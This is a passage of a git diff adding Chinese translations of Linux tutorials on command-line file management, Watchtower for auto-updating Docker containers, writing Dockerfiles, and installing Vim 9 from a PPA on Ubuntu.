https://ostechnix.com/configure-grub-2-boot-loader-settings-ubuntu-16-04/ +[2]: https://github.com/jacksaur/Gorgeous-GRUB +[3]: https://ostechnix.com/wp-content/uploads/2022/07/Download-GRUB-Theme-From-Pling.png +[4]: https://ostechnix.com/wp-content/uploads/2022/07/Enter-Theme-Txt-File-Path-And-Background-Image-Resolution.png +[5]: https://ostechnix.com/wp-content/uploads/2022/07/Update-GRUB.png +[6]: https://ostechnix.com/wp-content/uploads/2022/07/Ubuntu-Default-Grub-Menu.png +[7]: https://ostechnix.com/wp-content/uploads/2022/07/Updated-GRUB-Menu.png +[8]: https://github.com/vinceliuice/grub2-themes +[9]: https://ostechnix.com/wp-content/uploads/2022/07/Choose-GRUB-Theme-Background.png +[10]: https://ostechnix.com/wp-content/uploads/2022/07/Choose-Icon-Style.png +[11]: https://ostechnix.com/wp-content/uploads/2022/07/Choose-Display-Resolution.png +[12]: https://ostechnix.com/wp-content/uploads/2022/07/Install-Tela-Modern-Grub-Theme.png +[13]: https://ostechnix.com/wp-content/uploads/2022/07/Tela-GRUB-Theme.png +[14]: https://ostechnix.com/wp-content/uploads/2022/07/Whitesur-GRUB-Theme-1.png +[15]: https://github.com/jacksaur/Gorgeous-GRUB diff --git a/published/202208/20220727 How I manage files from the Linux command line.md b/published/202208/20220727 How I manage files from the Linux command line.md new file mode 100644 index 0000000000..4c7a72fb91 --- /dev/null +++ b/published/202208/20220727 How I manage files from the Linux command line.md @@ -0,0 +1,195 @@ +[#]: subject: "**How I manage files from the Linux command lin**e" +[#]: via: "https://opensource.com/article/22/7/manage-files-linux-command-line" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14930-1.html" + +在 Linux 中如何使用命令行管理文件 +====== + +> 如果你更喜欢用终端与系统交互,请了解一下我最喜欢的管理文件的命令。 + +![](https://img.linux.net.cn/data/attachment/album/202208/14/172405m2wa2tbiq6qtpw2p.jpg) + +在如 GNOME 或 KDE 等图形桌面中使用鼠标点击管理文件。你点击文件的图标,将它移动到另一个文件夹中,或者移动到回收站里。图形交互使得桌面计算机便于使用。 + +但是在 Linux 中,我们并不总是与图形界面交互。如果你在服务器上工作,那么你可能需要使用命令行来解决问题。即使像我这样使用桌面的用户,可能也更喜欢使用终端和命令行和系统交互。我倾向于通过命令行运行命令来管理我的文件: + +### 使用 ls 显示文件 + +``` +ls +``` + +对任何使用命令行的人来说,如果不知道有什么文件,工作将很难进行下去。[ls 命令][2] 会罗列出文件夹中的文件。例如,要查看 Web 服务器的文档根目录 `/var/www/html` 中的内容,你可以键入: + +``` +ls /var/www/html +``` + +大多数情况,我使用 `ls` 命令查看当前文件夹内的文件。只需要输入 `ls` 即可查看所有文件。例如,当我在我的网页项目的根目录时,输入 `ls` 后可以看到这些: + +``` +$ ls +about fontawesome fonts index.php styles +docs fontawesome.zip images prism +``` + +`ls` 命令包含 60 种选项,可以以任意方式显示文件和目录。`-l` 是一个很有用的选项,可以详细的显示文件,包含权限、文件大小以及所有者等信息。 + +``` +$ ls -l + +total 6252 +drwxrwxr-x. 2 jhall jhall 4096 Jun 22 16:18 about +drwxr-xr-x. 2 jhall jhall 4096 Jun 25 16:35 docs +drwxr-xr-x. 2 jhall jhall 4096 Jun 7 00:00 fontawesome +-rw-r--r--. 1 jhall jhall 6365962 Jun 2 16:26 fontawesome.zip +drwxrwxr-x. 2 jhall jhall 4096 Jun 22 16:17 fonts +drwxr-xr-x. 2 jhall jhall 4096 Jun 25 13:03 images +-rw-rw-r--. 1 jhall jhall 327 Jun 22 16:38 index.php +drwxrwxr-x. 2 jhall jhall 4096 Jun 22 16:18 prism +drwxrwxr-x. 2 jhall jhall 4096 Jun 22 16:17 styles +``` + +上方的文件大小是以字节为单位,或许看起来有点吃力。想要以方便我们阅读的格式查看文件大小,只需要添加 `-h` 或 `--human-readable` 选项,能以 `G` 、`M` 、`K` 为单位显示文件大小。 + +``` +$ ls -l --human-readable +total 6.2M +drwxrwxr-x. 2 jhall jhall 4.0K Jun 22 16:18 about +drwxr-xr-x. 2 jhall jhall 4.0K Jun 25 16:35 docs +drwxr-xr-x. 2 jhall jhall 4.0K Jun 7 00:00 fontawesome +-rw-r--r--. 1 jhall jhall 6.1M Jun 2 16:26 fontawesome.zip +drwxrwxr-x. 2 jhall jhall 4.0K Jun 22 16:17 fonts +drwxr-xr-x. 2 jhall jhall 4.0K Jun 25 13:03 images +-rw-rw-r--. 1 jhall jhall 327 Jun 22 16:38 index.php +drwxrwxr-x. 2 jhall jhall 4.0K Jun 22 16:18 prism +drwxrwxr-x. 2 jhall jhall 4.0K Jun 22 16:17 styles +``` + +现在,`ls` 将 zip 文件显示为 `6.1M` 或刚刚超过 6 MB 的文件大小,而不是 `6365962`。 + +### 使用 cat、head 和 tail 命令查看文件 + +``` +cat +``` + +``` +head +``` + +``` +tail +``` + +当显示出文件后,需要检查文件夹中的内容。使用很少几个命令即可做到。以我的 Web 服务器中的 `docs` 文件夹为例: + +``` +$ ls docs +chapter1.tex chapter4.tex chapter7.tex lorem.txt +chapter2.tex chapter5.tex chapter8.tex readme.txt +chapter3.tex chapter6.tex chapter9.tex workbook.tex +``` + +这些文件是什么?我不知道,幸运的是该目录中有一个 `readme.txt` 文件,我猜它包含了这个项目目录中文件的描述。如果该文件不是很长,那我可以使用 `cat` 命令查看它: + +``` +$ cat docs/readme.txt +This is the workbook for the C programming self-paced +video series. The main file is the workbook.tex file, +which includes the other chapters. +``` + +如果这个文件很长,则可以使用 `head` 命令查看文件的前几行。该命令通常显示前 10 行的内容,不过你也可以使用 `-n` 或者 `--lines` 选项来指定行数。例如,使用这两个 `head` 命令的选项查看 `lorem.txt` 文件的前三行: + +``` +$ head -n 3 docs/lorem.txt +Lorem ipsum dolor sit amet, consectetur adipiscing +elit. Nullam at ligula eget nunc feugiat pharetra. Nullam +nec vulputate augue. Suspendisse tincidunt aliquet + +$ head --lines=3 docs/lorem.txt +Lorem ipsum dolor sit amet, consectetur adipiscing +elit. Nullam at ligula eget nunc feugiat pharetra. Nullam +nec vulputate augue. Suspendisse tincidunt aliquet +``` + +如果我想要查看文件的最后几行的内容,可以以相同方式使用 `tail` 命令。同样,这两个 `tail` 命令分别显示 `lorem.txt` 文件的最后三行: + +``` +$ tail -n 3 docs/lorem.txt +egestas sodales. Vivamus tincidunt ex sed tellus tincidunt +varius. Nunc commodo volutpat risus, vitae luctus lacus +malesuada tempor. Nulla facilisi. + +$ tail --lines=3 docs/lorem.txt +egestas sodales. Vivamus tincidunt ex sed tellus tincidunt +varius. Nunc commodo volutpat risus, vitae luctus lacus +malesuada tempor. Nulla facilisi. +``` + +使用 `head` 和 `tail` 命令在服务器中查看日志文件十分有用。我有一个小型 Web 服务器运行在家庭网络,用于在网站上线前的测试。最近我发现 Web 服务器的日志很长,我好奇它存在多久了。使用 `head` 命令,我只打印第一行,可以看到该日志文件是在 2020 年 12 月创建的: + +``` +$ ls -l --human-readable /var/log/httpd +total 13M +-rw-r--r--. 1 root root 13M Jun 25 16:23 access_log +-rw-r--r--. 1 root root 45K Jun 2 00:00 error_log + +$ sudo head -n 1 /var/log/httpd/access_log +10.0.0.177 - - [05/Dec/2020:14:58:35 -0600] "GET / HTTP/1.1" 403 5564 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" +``` + +### 使用 rm 命令删除文件 + +``` +rm +``` + +在包含示例文本文件的目录中,`lorem.txt` 文件中包含 “乱数假文Lorem Ipsum” 文本。这只是印刷行业中使用的虚拟文本,因此 `lorem.txt` 文件并不属于该项目。让我们用 `rm` 命令删除这样的文件: + +``` +$ ls docs +chapter1.tex chapter4.tex chapter7.tex lorem.txt +chapter2.tex chapter5.tex chapter8.tex readme.txt +chapter3.tex chapter6.tex chapter9.tex workbook.tex + +$ rm docs/lorem.txt + +$ ls docs +chapter1.tex chapter4.tex chapter7.tex readme.txt +chapter2.tex chapter5.tex chapter8.tex workbook.tex +chapter3.tex chapter6.tex chapter9.tex +``` + +由于用 `rm` 命令删除的文件会直接删除,而不会放入回收站,因此它很危险。安装 `trash` 命令比较安全,例如 [trashy][4] 或 [trash-cli][5] 命令。这样你可以在文件永久删除前,将其放入暂存区。 + +``` +$ rm docs/lorem.txt +``` + +只需很少的命令即可在命令行中管理文件。使用 `ls` 命令显示目录中的文件,使用 `cat` 、`head` 和 `tail` 命令查看文件中的内容。使用 `rm` 或者安全的 `trash` 命令将不需要的文件删除。这五个命令足以帮你在 Linux 中管理文件。想要了解更多,可以使用 `--help` 选项来查看如何使用这些命令。例如使用 `ls --help` 查看 `ls` 命令如何使用。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/manage-files-linux-command-line + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[Donkey](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/files_documents_paper_folder.png +[2]: https://opensource.com/article/19/7/master-ls-command +[3]: https://opensource.com/article/19/2/getting-started-cat-command +[4]: https://gitlab.com/trashy/trashy +[5]: https://github.com/andreafrancia/trash-cli diff --git a/published/202208/20220727 How To Automatically Update Running Docker Containers Using Watchtower.md b/published/202208/20220727 How To Automatically Update Running Docker Containers Using Watchtower.md new file mode 100644 index 0000000000..0a08bef22c --- /dev/null +++ b/published/202208/20220727 How To Automatically Update Running Docker Containers Using Watchtower.md @@ -0,0 +1,181 @@ +[#]: subject: "How To Automatically Update Running Docker Containers Using Watchtower" +[#]: via: "https://ostechnix.com/automatically-update-running-docker-containers/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14926-1.html" + +如何使用 Watchtower 自动更新正在运行的 Docker 容器 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/13/171633bitrd5imi953bbbi.jpg) + +> 使用 Watchtower 自动更新 Docker 容器基础镜像 + +对开发运维人员来说,保持 Docker 容器为最新版本是重要工作之一。手动更新 Docker 容器是一项耗时的工作。这篇文章解释了 **Watchtower** 是什么,如何安装它,以及在 Linux 中如何 **使用 Watchtower 自动更新正在运行的 Docker 容器** 。 + +### Watchtower 是什么? + +**Watchtower** 是一款自由开源的应用,用来监控运行中的 Docker 容器,并且当它发现基础镜像被更改后,可以自动的更新容器。 + +若 Watchtower 发现一个运行中的容器需要更新,它会以发送 SIGTERM 信号的方式,优雅的结束运行中容器的运行。 + +它会下载新镜像,然后以最初部署时使用的方式,重启容器。所有文件会在后台自动下载,因此不需要用户的介入。 + +在这份指南中,我们将会明白如何在类 Unix 系统中使用 Watchtower 自动更新正在运行的 Docker 容器。 + +我已经在 CentOS 和 Ubuntu 中测试了这份指南,所有的 Linux 发行版中操作过程都一样。 + +### 在 Linux 中安装 Watchtower + +可以通过 Docker 镜像的方式下载 Watchtower 。因此,部署它是小事一桩。在你的 Linux 中安装 Docker 镜像,然后运行 Watchtower 立即开始监控 Docker 容器。 + +参考下方指导在基于 PRM 和 DEB 包管理系统中安装 Docker + +* [如何在 CentOS 中安装 Docker][1] +* [如何在 Ubuntu 中安装 Docker][2] +* [适用于 Linux 的 Docker 桌面初学者手册][3] + +安装 Docker 后,你可以使用以下命令以 `root` 用户身份部署 Watchtower 容器: + +``` +# docker run -d --name watchtower -v /var/run/docker.sock:/var/run/docker.sock containrrr/watchtower +``` + +如果你已经安装了 Docker 桌面版,以普通用户运行 Watchtower 容器。 + +``` +$ docker run -d --name watchtower -v /var/run/docker.sock:/var/run/docker.sock containrrr/watchtower +``` + +该命令会拉取最新版的 `watchtower` 镜像,并运行 `watchtower` 容器。 + +输出样例: + +``` +Unable to find image 'containrrr/watchtower:latest' locally +latest: Pulling from containrrr/watchtower +1045b2f97fda: Pull complete +35a104a262d3: Pull complete +1a0671483169: Pull complete +Digest: sha256:bbf9794a691b59ed2ed3089fec53844f14ada249ee5e372ff0e595b73f4e9ab3 +Status: Downloaded newer image for containrrr/watchtower:latest +91c104ef0e9896e8cd5ff30d9f13e728dbfad66443830ec2ac85dde6d7d37564 +``` + +![Run Watchtower Docker Container][4] + +### 使用 Watchtower 自动更新 Docker 容器 + +在你的系统上,Watchtower 正在和其他容器一起运行。你可以使用一下命令查看运行中的 Docker 容器列表: + +``` +$ docker ps +``` + +输出样例: + +``` +CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES +91c104ef0e98 containrrr/watchtower "/watchtower" 14 minutes ago Up 14 minutes 8080/tcp watchtower +f90b462b0712 bitnami/wordpress-nginx:6 "/opt/bitnami/script…" 19 minutes ago Up 19 minutes 0.0.0.0:80->8080/tcp, 0.0.0.0:443->8443/tcp ostechnix-wordpress-1 +``` + +正如上方输出所示,`watchtower` 容器正在和名为 `ostechnix-wordpress-1` 的容器一起运行。从现在开始,`watchtower` 会每隔几分钟会检查该容器。 + +如果 Watchtower 发现该容器的基础镜像的任何变化,它会优雅的关闭 `ostechnix-wordpress-1` 容器,然后使用与最初启动它时使用的相同方式,启动新的镜像。 + +类似的,它会自动地每隔几分钟检查所有的运行中容器,并自动更新它们。 + +### Watchtower 如何更新多连接的容器? + +在监视多连接容器时,Watchtower 十分智能。 + +假设我们现在运行两个容器。 + +``` +$ docker ps +``` + +输出样例: + +``` +CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES +91c104ef0e98 containrrr/watchtower "/watchtower" 14 minutes ago Up 14 minutes 8080/tcp watchtower +f90b462b0712 bitnami/wordpress-nginx:6 "/opt/bitnami/script…" 19 minutes ago Up 19 minutes 0.0.0.0:80->8080/tcp, 0.0.0.0:443->8443/tcp ostechnix-wordpress-1 +a895f082438a bitnami/mariadb:10.6 "/opt/bitnami/script…" 20 minutes ago Up 19 minutes 3306/tcp ostechnix-mariadb-1 +``` + +![View Running Docker Containers][5] + +正如你看到的,我们正在运行 `ostechnix-wordpress-1` 和 `ostechnix-mariadb-1` 这两个容器。`ostechnix-mariadb-1` 容器链接到 `ostechnix-wordpress-1` 容器。 + +如果 Watchtower 发现 `ostechnix-wordpress-1` 容器有个新版本,它会先关闭与之相连接的 `ostechnix-mariadb-1` 容器 ,然后才会关闭 `ostechnix-wordpress-1` 容器。 + +更新 `ostechnix-wordpress-1` 容器后,Watchtower 会以正确的顺序,且与最初启动它们时使用的相同方式,重启这两个容器,以便应用程序正确恢复。在我们的例子中,首先启动的是 `ostechnix-mariadb-1` 容器,然后是 `ostechnix-wordpress-1` 容器,以确保连接能够继续运行。 + +### 监控特定容器 + +默认情况下,Watchtower 将监控在它所指向的 Docker 守护进程中运行的所有 Docker 容器。 + +不过,你可以像下面这样,通过指定容器名称限制 Watchtower 监视特定的 Docker 容器。 + +``` +$ docker run -d --name watchtower -v /var/run/docker.sock:/var/run/docker.sock containrrr/watchtower ostechnix-wordpress-1 +``` + +在上方的例子中,`watchtower` 会忽略其他容器,只监视名为 `ostechnix-wordpress-1` 的容器更新情况。 + +如果你不指定任何参数,Watchtower 会照常监视所有运行中的 Docker 容器。 + +### 发送提示 + +或许你想收到容器更新的通知。你可以通过电子邮件、Slack 、MSTeams 以及 Gotify 发送通知。 + +下面这个例子展示了如何通过电子邮件发送通知。假设你已经设置了 SMTP 服务器。 + +``` +docker run -d \ + --name watchtower \ + -v /var/run/docker.sock:/var/run/docker.sock \ + -e WATCHTOWER_NOTIFICATIONS=email \ + -e WATCHTOWER_NOTIFICATION_EMAIL_FROM=fromaddress@gmail.com \ + -e WATCHTOWER_NOTIFICATION_EMAIL_TO=toaddress@gmail.com \ + -e WATCHTOWER_NOTIFICATION_EMAIL_SERVER=smtp.gmail.com \ + -e WATCHTOWER_NOTIFICATION_EMAIL_SERVER_PORT=587 \ + -e WATCHTOWER_NOTIFICATION_EMAIL_SERVER_USER=fromaddress@gmail.com \ + -e WATCHTOWER_NOTIFICATION_EMAIL_SERVER_PASSWORD=app_password \ + -e WATCHTOWER_NOTIFICATION_EMAIL_DELAY=2 \ + containrrr/watchtower +``` + +参考下方 Watchtower Github 仓库和 Watchtower 官方主页获取更多信息: + +### 资料 + +* [Watchtower GitHub][6] +* [Watchtower 主页][7] + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/automatically-update-running-docker-containers/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[Donkey](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/install-docker-centos/ +[2]: https://ostechnix.com/install-docker-ubuntu/ +[3]: https://ostechnix.com/docker-desktop-for-linux/ +[4]: https://ostechnix.com/wp-content/uploads/2022/07/Run-Watchtower-Docker-Container.png +[5]: https://ostechnix.com/wp-content/uploads/2022/07/View-Running-Docker-Containers.png +[6]: https://github.com/v2tec/watchtower +[7]: https://containrrr.dev/watchtower/ +[8]: https://ostechnix.tradepub.com/free/w_java39/prgm.cgi diff --git a/published/202208/20220728 How To Build Custom Docker Image Using Dockerfile.md b/published/202208/20220728 How To Build Custom Docker Image Using Dockerfile.md new file mode 100644 index 0000000000..f6a94145d7 --- /dev/null +++ b/published/202208/20220728 How To Build Custom Docker Image Using Dockerfile.md @@ -0,0 +1,298 @@ +[#]: subject: "How To Build Custom Docker Image Using Dockerfile" +[#]: via: "https://ostechnix.com/a-brief-introduction-to-dockerfile/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14896-1.html" + +如何使用 Dockerfile 创建自定义 Docker 镜像 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/04/172001acb136363vi6vcgk.jpg) + +在这份指南中,我们将看到 **Dockerfile** 的简要介绍以及如何在 Linux 中使用 Dockerfile 来自动的 **创建自定义 Docker 镜像** 。 + +### 什么是 Dockerfile ? + +Dockerfile 是附有构建 Docker 镜像说明的易于理解的文本文件。它囊括了用户在创建镜像时可以调用的所有命令。 + +我们可以使用 Dockerfile 创建自定义的镜像。可以通过 Docker Hub 分享的自定义 Docker 镜像。 + +如果你还不知道,Docker Hub 是 Docker 提供的托管存储库服务,用于团队查找和共享容器镜像,当然世界上任何人也都可以访问。 + +想象一下,早期如果我们想用 **Nginx**,我们要通过很多步骤,才能安装和配置好 Nginx 。得益于 Docker Hub ,现在我们可以在几分钟内,下载并运行 Nginx 的预置容器镜像。 + +![Nginx Docker Image In Dockerhub][1] + +运行如下命令从 Docker Hub 上拉取 Nginx 镜像: + +``` +# docker pull nginx +``` + +一旦我们拉取了 Docker 镜像,可以运行如下命令使用它: + +``` +# docker run -it -d -p 8080:8080 nginx +``` + +就这样,十分简单! + +参考下方链接,了解更多使用 Docker 的方式: + +* [开始使用 Docker][2] + +Docker Hub 上有超过十万个来自软件供应商、开源项目以及社区的容器镜像。 + +你可以从 Docker Hub 上下载你选择的镜像,并且使用上面的命令开始使用它。 + +### 理解 Dockerfile 格式 + +Docker 可以读取 Dockerfile 中的 **指令** 来自动的创建镜像。 + +典型的 Dockerfile 包含如下指令: + +1、`FROM` —— 这会设置容器的基础镜像。 + +例如: + +``` +FROM ubuntu:22.04 +``` + +这会将容器的基础镜像设置为 Ubuntu 。如果 ‘22.04’ 这个标志没有特别指明,则会设为最新版本(`latest`)。 + +2、`LABEL` —— 这是用来明确镜像的元数据信息的键值对。 + +例如: + +``` +LABEL ENV=“DEVELOPMENT” +``` + +3、`RUN` —— 这会在基础镜像中执行指令并创建一个新层。 + +例如: + +``` +RUN apt-get update +RUN apt-get install tomcat +``` + +4、`CMD` —— 这用来设置容器启动后先执行的命令。 + +例如: + +``` +CMD ["java", "-jar", "app.jar"] +``` + +5、`EXPOSE` —— 设置用于访问容器的端口。容器将会监听该端口。我们可以用来获得输出。 + +例如: + +``` +EXPOSE 8080 +``` + +6、``MAINTAINER` —— 显示创建镜像作者的信息。 + +例如: + +``` +MAINTAINER info@ostechnix.com +``` + +7、`ENV` —— 用来设置环境变量的键值对。这些变量在镜像创建的时候设置,并在容器创建好后可以使用。 + +例如: + +``` +ENV DB_NAME=”MySQL” +ENV DB_VERSION=”8.0” +``` + +8、`COPY` —— 用来拷贝本地文件至容器中。 + +例如: + +``` +COPY /target/devops.jar devops.jar +``` + +9、`ADD` —— 具有与拷贝相同的功能,不过更进一步还可以提取本地的 tar 文件或者从 URL 拷贝文件。 + +例如: + +``` +ADD devops.tar.xz / . +ADD http://example.com/abc.git /usr/local/devops/ +``` + +10、`ENTRYPOINT` —— 用来设置镜像的主要命令。与 CMD 指令功能相同。不同的是 `ENTRYPOINT` 中的指令不会被重写。 + +例如: + +``` +ENTRYPOINT ["java", "-jar", "app.jar"] +``` + +11、`VOLUME` —— 该指令用来创建指定位置的挂载点。 + +例如: + +``` +VOLUME /app/devops +``` + +12、`USER` —— 将设置运行镜像并使用的用户名称以及用户组。 + +例如: + +``` +USER dhruv +USER admin +``` + +13、`WORKDIR` —— 这会设置工作目录。如果目录不存在,则会创建。 + +例如: + +``` +WORKDIR /var/lib/ +``` + +这是一个 Dockerfile 的样本,可以参考一下: + +``` +FROM ubuntu:latest +MAINTAINER Senthilkumar Palani "info@ostechnix.com" +RUN apt-get install -y software-properties-common python +RUN add-apt-repository ppa:chris-lea/node.js +RUN echo "deb http://us.archive.ubuntu.com/ubuntu/ jammy universe" >> +/etc/apt/sources.list +RUN apt-get update +RUN apt-get install -y nodejs +RUN mkdir /var/www +ADD app.js /var/www/app.js +CMD ["/usr/bin/node", "/var/www/app.js"] +``` + +我将向你展示创建一个 Dockerfile 、创建并使用镜像的简单例子。 + +### 创建一个 Dockerfile + +创建一个名为 `dockerfile` 的文件: + +``` +# nano dockerfile +``` + +添加下面几行命令。我们将更新并安装 `vim` 和 `curl` 包: + +``` +FROM alpine + +RUN apk update +RUN apk add vim +RUN apk add curl +``` + +![Dockerfile For Alpine Linux][3] + +按下 `CTRL+O` 和 `CTRL+X` 键保存文件并关闭。 + +现在 Dockerfile 已经就位。让我们继续,用该 Dockerfile 创建一个镜像。 + +> **注意:** 如果你在使用 [Docker 桌面版][4],你可以以一个普通用户运行 `docker` 命令。 + +### 使用 Dockerfile 创建 Docker 镜像 + +只需运行以下命令,便可以使用 Dockerfile 创建 Docker 镜像: + +``` +# docker build -t alpine . +``` + +请注意最后有一个 **点**(`.`)。 + +输出示例: + +``` +[+] Building 51.2s (8/8) FINISHED + => [internal] load build definition from Dockerfile 0.1s + => => transferring dockerfile: 104B 0.0s + => [internal] load .dockerignore 0.1s + => => transferring context: 2B 0.0s + => [internal] load metadata for docker.io/library/alpine:latest 38.8s + => [1/4] FROM docker.io/library/alpine@sha256:7580ece7963bfa863801466c0a 2.7s + => => resolve docker.io/library/alpine@sha256:7580ece7963bfa863801466c0a 0.0s + => => sha256:d7d3d98c851ff3a95dbcb70ce09d186c9aaf7e25d48 1.47kB / 1.47kB 0.0s + => => sha256:530afca65e2ea04227630ae746e0c85b2bd1a179379 2.80MB / 2.80MB 2.4s + => => sha256:7580ece7963bfa863801466c0a488f11c86f85d9988 1.64kB / 1.64kB 0.0s + => => sha256:9b2a28eb47540823042a2ba401386845089bb7b62a9637d 528B / 528B 0.0s + => => extracting sha256:530afca65e2ea04227630ae746e0c85b2bd1a179379cbf2b 0.2s + => [2/4] RUN apk update 4.3s + => [3/4] RUN apk add vim 3.5s + => [4/4] RUN apk add curl 1.3s + => exporting to image 0.4s + => => exporting layers 0.4s + => => writing image sha256:14231deceb6e8e6105d2e551799ff174c184e8d9be8af 0.0s + => => naming to docker.io/library/alpine 0.0s + +Use 'docker scan' to run Snyk tests against images to find vulnerabilities and learn how to fix them +``` + +按照上面的命令, Docker 会通过保存在当前工作目录中的 Dockerfile 中的命令开始自动的创建镜像。还记得我们在 Dockerfile 中保存的 `apk update`、`apk add vim` 和 `apk add curl` 命令吗?这些命令也将会自动的执行。 + +如果 Dockerfile 保存在其他目录,你可以使用 `-f` 标志来指定路径,例如: + +``` +# docker build -f /path/to/a/Dockerfile . +``` + +创建好镜像后,我们可以使用如下命令运行它: + +``` +# docker run -it alpine +``` + +该命令会启动这个 Alpine 容器并连接到它。 + +``` +/ # uname -a +Linux 8890fec82de8 5.10.104-linuxkit #1 SMP Thu Mar 17 17:08:06 UTC 2022 x86_64 Linux +/ # cat /etc/alpine-release +3.16.1 +/ # +``` + +如果你使用 Docker 桌面版,你可以通过容器Containers标签页界面来查看运行中的容器。 + +![View Containers In Docker Desktop][5] + +这就是使用 Dockerfile 构建自定义容器映像的方式。 + +我们仅仅讲了基础内容。你可以用 Dockerfile 做到很多东西。建议你参考一下官方 [Dockerfile 参考][6] ,以了解更多内容。 + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/a-brief-introduction-to-dockerfile/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[Donkey](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/wp-content/uploads/2022/07/Nginx-Docker-Image-In-Dockerhub.png +[2]: https://ostechnix.com/getting-started-with-docker/ +[3]: https://ostechnix.com/wp-content/uploads/2022/07/Dockerfile-For-Alpine-Linux.png +[4]: https://ostechnix.com/docker-desktop-for-linux/ +[5]: https://ostechnix.com/wp-content/uploads/2022/07/View-Containers-In-Docker-Desktop-1024x524.png +[6]: https://docs.docker.com/engine/reference/builder/ diff --git a/published/202208/20220730 How to Install Latest Vim 9.0 on Ubuntu Based Linux Distributions.md b/published/202208/20220730 How to Install Latest Vim 9.0 on Ubuntu Based Linux Distributions.md new file mode 100644 index 0000000000..1e7e201821 --- /dev/null +++ b/published/202208/20220730 How to Install Latest Vim 9.0 on Ubuntu Based Linux Distributions.md @@ -0,0 +1,122 @@ +[#]: subject: "How to Install Latest Vim 9.0 on Ubuntu Based Linux Distributions" +[#]: via: "https://itsfoss.com/install-latest-vim-ubuntu/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14899-1.html" + +如何在基于 Ubuntu 的 Linux 发行版上安装最新的 Vim 9.0 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/05/174903f3zu3nqrrnwclwrz.jpg) + +> 这个快速教程展示了在 Ubuntu Linux 上安装最新版本的 Vim 的步骤。 + +Vim 是最 [流行的基于终端的文本编辑器][1] 之一。然而,它在 Ubuntu 上没有被默认安装。 + +Ubuntu 使用 Nano 作为默认的终端编辑器。Nano 也是一个优秀的工具,我并不打算参与 [Nano 与 Vim 孰优孰劣的辩论][2]。 + +如果你已经花了一些时间掌握了 Vim 的快捷键,你就不必忘记它们,而开始使用一个新的编辑器。 + +你可以在终端使用以下命令在 Ubuntu 上安装 Vim: + +``` +sudo apt install vim +``` + +这很简单,对吗?这种方法的主要问题是,你不会得到最新的 Vim 版本。 + +你可以用以下命令检查已安装的 Vim 版本: + +``` +vim --version +``` + +而如果你查看 [Vim 网站][3],你会发现 Vim 已经发布了更新的版本。 + +在写这篇文章的时候,[Vim 9.0 已经发布][4],但在 Ubuntu 仓库中还没有。 + +好消息是,你可以使用一个 [非官方的,但积极维护的 PPA][5] 安装最新的 Vim。 + +### 使用 PPA 在 Ubuntu 上安装 Vim 9 + +如果你有特定的 Vim 配置文件,为它们做个备份也无妨。 + +现在,要安装最新的 Vim 版本,先添加 PPA 仓库: + +``` +sudo add-apt-repository ppa:jonathonf/vim +``` + +![Adding the PPA to get the latest Vim version][6] + +你不需要在 Ubuntu 上更新软件包缓存,但其他发行版如 Mint 可能仍然需要: + +``` +sudo apt update +``` + +现在,使用下面的命令来安装 PPA 提供的最新 Vim 版本: + +``` +sudo apt install vim +``` + +如果你已经安装了一个较早的 Vim 版本,它将被升级。你可以用以下方法检查已安装的 Vim 版本: + +``` +vim --version +``` + +![Checking installed Vim version][7] + +这是一个维护得非常好的 PPA,适用于所有活跃的 Ubuntu 版本。 + +如果你是 PPA 的新手,我有一个关于这个主题的详细指南。你应该阅读以对 [Ubuntu 中 PPA 的概念][8] 了解更多。 + +### 降级或删除 + +如果你想回到 Ubuntu 提供的旧版 Vim,你应该删除现有的版本,删除 PPA 并重新安装它。 + +在删除 Vim 之前,如果你做了自定义修改并打算再次使用 Vim,你应该复制 vimrc 或其他类似的配置文件。 + +那么,打开一个终端,使用以下命令: + +``` +sudo apt remove vim +``` + +现在删除 PPA,否则你会再次得到最新的 Vim(如果你尝试安装旧版本的 Vim): + +``` +sudo add-apt-repository -r ppa:jonathonf/vim +``` + +现在,如果你想要旧的、官方的 Ubuntu 版本的 Vim,只需再次 [使用 apt 命令][9] 安装它。 + +享受 Ubuntu 上的 Vim 吧。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/install-latest-vim-ubuntu/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) 